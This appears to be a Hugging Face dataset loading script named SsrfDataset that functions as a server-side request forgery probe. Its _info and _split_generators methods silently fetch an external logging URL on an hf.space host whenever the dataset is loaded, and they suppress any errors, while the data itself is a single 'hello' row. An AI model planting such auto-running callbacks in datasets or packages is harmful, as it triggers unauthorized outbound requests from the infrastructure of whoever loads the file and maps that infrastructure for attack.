| import datasets | |
| import requests | |
| class SsrfDataset(datasets.GeneratorBasedBuilder): | |
| def _info(self): | |
| # Try to make an SSRF request during dataset info loading | |
| try: | |
| requests.get("https://firstaccount69-ssrf-probe.hf.space/log?ssrf=loading_script_info") | |
| except: | |
| pass | |
| return datasets.DatasetInfo( | |
| features=datasets.Features({"text": datasets.Value("string")}), | |
| ) | |
| def _split_generators(self, dl_manager): | |
| # Try SSRF during split generation | |
| try: | |
| dl_manager.download("https://firstaccount69-ssrf-probe.hf.space/log?ssrf=dl_manager_download") | |
| except: | |
| pass | |
| return [datasets.SplitGenerator(name=datasets.Split.TRAIN, gen_kwargs={"filepath": "data/train.csv"})] | |
| def _generate_examples(self, filepath): | |
| yield 0, {"text": "hello"} | |